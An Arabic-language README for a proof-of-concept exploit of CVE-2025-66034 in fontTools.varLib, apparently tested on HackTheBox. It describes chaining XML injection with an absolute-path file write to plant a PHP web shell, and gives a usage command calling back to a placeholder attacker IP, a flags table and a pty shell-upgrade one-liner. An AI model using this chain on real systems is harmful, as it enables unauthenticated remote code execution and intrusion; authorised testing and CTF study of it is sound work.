
CVE-2025-66034 - fontTools varLib ثغرة كتابة ملفات عشوائية → RCE استغلال PoC لثغرة كتابة ملفات عشوائية + حقن XML في fontTools.varLib.
إثبات مفهوم لاستغلال ثغرة كتابة ملف تعسفي + حقن XML في
fontTools.varLibتم اختباره على HackTheBox — VarIaType
يقوم fontTools.varLib بمعالجة ملفات XML .designspace لبناء خطوط متغيرة. تجتمع نقطتا ضعف لتحقيق RCE دون مصادقة:
| # | البدائية | التفاصيل |
|---|
| 1 | حقن XML عبر تقسيم CDATA | تتم كتابة المحتوى الذي يتحكم به المهاجم داخل <labelname> حرفيًا في جسم ملف الخط الناتج، مما يسمح بحقن بيانات تعسفية |
| 2 | كتابة ملف تعسفي عبر تجاوز os.path.join() | تقبل سمة filename لعنصر <variable-font> مسارًا مطلقًا. عند تمريرها إلى os.path.join()، فإنها تتجاهل دليل الإخراج المقصود وتكتب إلى أي مسار نظام ملفات يحدده المهاجم |
يتيح ربط كلتا البدائيتين كتابة قشرة ويب PHP إلى مسار يمكن الوصول إليه عبر الويب، مما يحقق تنفيذ تعليمات برمجية عن بعد غير مصادق عليه.
python3 font_varlib.py \
--ip <attacker-ip> \
--port <port> \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/portal.target.htb/public/files \
--shell http://portal.target.htb/files
| العلامة | الوصف |
|---|---|
--ip | عنوان IP للمهاجم لرد الاتصال بالقشرة العكسية |
--port | منفذ المستمع |
--upload | عنوان URL الكامل لنقطة نهاية معالجة الخط (POST) |
--webroot | مسار مطلق من جانب الخادم يتوافق مع دليل يمكن الوصول إليه عبر الويب |
--shell | عنوان URL الأساسي الذي ستكون القشرة الويب متاحة تحته |
--no-listen | تخطي المستمع التلقائي — طباعة الأوامر اليدوية بدلاً من ذلك |
--pwncat | استخدم pwncat-cs بدلاً من nc (مفضل إذا كان متاحًا) |
pip install requests fonttools
.ttf بسيطين (source-light.ttf, source-regular.ttf) باستخدام fontTools.FontBuilder كخطوط رئيسية مطلوبة لمساحة التصميم.designspace خبيث — يتم بناء ملف XML مصمم بـ:
<labelname>filename لعنصر <variable-font>، متجاوزًا output_dir عبر os.path.join().designspace + الخطوط الرئيسية عبر POST إلى نقطة نهاية المعالجة.php المزروع، مما ينفذ حمولة القشرة العكسيةpython3 -c 'import pty; pty.spawn("/bin/bash")' وتعيين TERM + stty للحصول على قشرة تفاعلية كاملة| الحقل | |
|---|---|
| CVE | CVE-2025-66034 |
| المكون المتأثر | fontTools.varLib |
| التأثير | كتابة ملف تعسفي غير مصادق → تنفيذ تعليمات برمجية عن بعد |
| السياق | تطبيق ويب يعرض نقطة نهاية معالجة الخطوط |
هذه الأداة مخصصة فقط لاختبار الاختراق المصرح به واستخدام مسابقات CTF. لا تقم بتشغيلها ضد أنظمة لا تمتلكها أو ليس لديك إذن كتابي صريح لاختبارها.
بواسطة 4nuxd